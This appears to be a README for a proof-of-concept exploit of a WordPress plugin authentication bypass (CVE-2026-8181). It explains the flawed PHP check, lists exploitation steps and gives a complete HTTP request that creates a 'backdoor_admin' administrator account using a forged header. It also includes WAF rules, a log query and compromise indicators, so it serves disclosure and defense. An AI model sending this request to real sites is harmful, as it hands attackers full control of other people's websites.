
Python PoC for CVE-2026-8181, a critical authentication bypass in Burst Statistics WordPress plugin. Includes exploit automation, bulk scanning, and admin account creation for authorized security testing.
[!CAUTION] CRITICAL ALERT: This vulnerability allows an unauthenticated remote attacker to bypass authentication and gain full Administrator privileges on the target WordPress site by simply injecting a custom HTTP header. This CVE is currently being actively exploited in the wild.
CVE-2026-8181 is a critical authentication bypass vulnerability affecting the Burst Statistics WordPress plugin (versions 3.4.0 through 3.4.1.1). The flaw resides in the plugin's MainWP proxy integration. Due to improper validation of application passwords during the early plugins_loaded hook, the plugin incorrectly grants administrative context to REST API requests that include the X-BurstMainWP: 1 header, even if the request lacks valid credentials.
This transforms a simple, unauthenticated HTTP request into a full administrative takeover, bypassing all standard WordPress authentication mechanisms.
To understand how a simple header grants the keys to the kingdom, we must dissect the PHP logic inside the plugin's authentication handler.
The vulnerability stems from a mishandled conditional branch in includes/Frontend/class-mainwp-proxy.php within the is_mainwp_authenticated() method.
init() on plugins_loaded at priority 9. This is too early in the WordPress lifecycle.X-BurstMainWP: 1, has_admin_access() delegates authentication to is_mainwp_authenticated().Authorization header and forwards the credentials to WordPress core's wp_authenticate_application_password().application_password_is_api_request filter to true (due to the early hook execution), the core function returns null instead of a WP_Error object.is_wp_error( $user ). Since null is not a WP_Error, the guard passes.wp_set_current_user() using the attacker-supplied username, instantly elevating the request to full admin context.// Simplified representation of the vulnerable code in Burst Statistics <= 3.4.1.1
$user = wp_authenticate_application_password( null, $username, $password );
if ( is_wp_error( $user ) ) {
return false; // Correctly handles explicit authentication failures
}
// 🚨 THE FATAL FLAW 🚨
// If no application password is provided or API request isn't flagged yet,
// wp_authenticate_application_password returns NULL.
// The code fails to check for NULL!
if ( $user === null ) {
// Instead of failing securely, it falls through to this unsafe branch:
$admin_user = get_user_by( 'login', $attacker_supplied_username );
wp_set_current_user( $admin_user->ID ); // BOOM: Admin context granted!
return true;
}
This section is for Red Teamers and Authorized Penetration Testers.
/wp-content/plugins/burst-statistics/readme.txt).GET /wp-json/wp/v2/users. If blocked, use the author archive trick: /?author=1.POST /wp-json/wp/v2/users.X-BurstMainWP: 1Authorization: Basic <base64(admin_username:fake_password)>null check, and promotes the request to Admin context. The new admin user is created.POST /wp-json/wp/v2/users HTTP/1.1
Host: target.com
X-BurstMainWP: 1
Authorization: Basic YWRtaW46ZmFrZV9wYXNzd29yZA==
Content-Type: application/json
{
"username": "backdoor_admin",
"password": "SuperSecretPassword123!",
"email": "[email protected]",
"roles": ["administrator"]
}
[!IMPORTANT] Environmental Caveat: This exploit requires the
Authorizationheader to reach PHP.
- Nginx / LiteSpeed / Apache with Pretty Permalinks: Header is forwarded. Exploit SUCCEEDS.
- Apache with Plain Permalinks (Default): Header is silently stripped by the web server. Exploit FAILS.
This section is for Blue Teamers, SOC Analysts, and System Administrators.
Block or monitor the specific header at the edge.
ModSecurity / OWASP CRS Rule:
SecRule REQUEST_HEADERS:X-BurstMainWP "@streq 1" \
"id:1000001, \
phase:1, \
deny, \
status:403, \
log, \
msg:'CVE-2026-8181: Burst Statistics Auth Bypass Attempt', \
tag:'CVE-2026-8181', \
severity:'CRITICAL'"
Cloudflare WAF Custom Rule:
(http.request.headers["X-BurstMainWP"] eq "1")
Search your web server logs for the presence of the header combined with REST API user creation.
Splunk / ELK Query:
index=web_logs ("X-BurstMainWP"="1" OR "x-burstmainwp"="1") AND uri="/wp-json/wp/v2/users" AND method="POST"
| stats count by src_ip, uri
| where count > 0
If you suspect a breach, look for these post-exploitation artifacts:
wp_users table for users created via REST API with the administrator role.wp-content/plugins/ for unauthorized uploads (often webshells disguised as legitimate plugins).wp-content/themes/ or core files.[!IMPORTANT] Immediate Action Required: If you are running a vulnerable version, apply one of the following mitigations immediately.